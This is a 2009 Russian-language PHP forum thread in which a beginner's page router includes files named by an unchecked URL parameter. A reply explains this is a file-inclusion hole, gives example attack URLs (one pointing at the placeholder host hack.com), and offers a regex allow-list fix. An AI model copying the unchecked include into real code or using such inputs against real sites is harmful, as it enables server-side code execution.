Страниц (1): [1] |
|
Описание: Помогите |
Поиск в теме | Версия для печати |
CiJey |
Отправлено: 09 Мая, 2009 - 18:47:05
|
Newbie
Покинул форум
Сообщений всего: 6
Дата рег-ции: Май 2009
Карма 0
|
Народ, помогите кто может!
У меня такая беда.. Я хочу изменить отоброжение адреса сайта, то-есть: чтобы место обычного www.page.com/news.html была бы такая ссылка www.page.com/home.php?page=news
Я создаю home.php с дизайном сайта и вставляю такой код:
CODE:<?
if (file_exists("$page.html")) //Проверяем, существует ли файл
{ include("$page.html"); } //Если существует, то выполняем комманду include, которая "присоединяет" документ к главной странице
else //Если файл не существует, то
{ echo "Ошибка 404! Файл не найден!"; } //Выводим сообщение об ошибке
?>
Я прав?
Если да, то почему не работает? Хотябы ошыбку выбевал.. а так жмеш на ссылку, он ее меняет, а оформление остоется прежним..
на первом сайте у меня получилось, тока я его стер с виндой.. а тут не хочет. Может я чтото упустил, или не так сделал? Помогите пжлсто!! |
|
|
Furax |
Отправлено: 10 Мая, 2009 - 00:05:35
|
Бледнотик
Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007
Откуда: Иркутск, Сибирь, СССР
Карма 32
|
Знак бакса нужен, однако это будет работать не всегда: если отключена опция register_globals, работать не будет. Чтобы работало всегда - надо писать $_GET[page] вместо $page.
Другое дело - что так писать НЕЛЬЗЯ, потому что это огромная дыра в безопасности. Функция include не только подключает файл, но и запускает его выполнение интерпретатором PHP. Соответственно, пользователь может, скажем, прицепить файл с вредоносным скриптом к сообщению на форуме, а затем перейти по адресу типа home.php?page=forum/uploads/file - и содержимое file.html будет выполнено на сервере. Можно также запустить на выполнение файл из Сети (перейдя по адресу home.php?page=http://hack.com/file), но это не позволит провернуть "в лоб" функция file_exists(), которая вернёт false для URLа.
Лекарство? Например, элементарная проверка переменной $_GET['page']:CODE:<?
if (!isSet($_GET['page'])) //Не задано ?page=...
{
die('Не указана страница');
}
if (!preg_match('/^[a-z0-9\-]+$/', $_GET['page'])) //Есть что-то кроме цифр, букв и знака "-"
{
die('Неверно указана страница');
}
if (file_exists("$_GET[page].html")) //Проверяем, существует ли файл
{ include("$_GET[page].html"); } //Если существует, то выполняем комманду include, которая "присоединяет" документ к главной странице
else //Если файл не существует, то
{ echo "Ошибка 404! Файл не найден!"; } //Выводим сообщение об ошибке
?> Обрати внимание на кавычки внутри квадратных скобок: у меня нет ошибки, они ставятся, если вокруг нет других кавычек (двойных). |
|
|
CiJey |
Отправлено: 10 Мая, 2009 - 05:58:07
|
Newbie
Покинул форум
Сообщений всего: 6
Дата рег-ции: Май 2009
Карма 0
|
CODE:<meta http-equiv="content-type" content="text/html; charset=windows-1251">
Сори если я чтото не так делаю, задаю глупие вапросы, или не до понимаю..
Я в этом деле начинающий.
http://87.99.66.222/home2.php
Тут без инклуд функции, если что..(Отредактировано автором: 10 Мая, 2009 - 06:13:47) |
|
|
|
Поиск в теме | Версия для печати |
Страниц (1): [1] |
Сейчас эту тему просматривают: 4 (гостей: 4, зарегистрированных: 0, скрытых: 0) |
« HTML » |
Все гости форума могут просматривать этот раздел. Только администраторы и модераторы могут создавать новые темы в этом разделе. Только администраторы и модераторы могут отвечать на сообщения в этом разделе.
|
|
|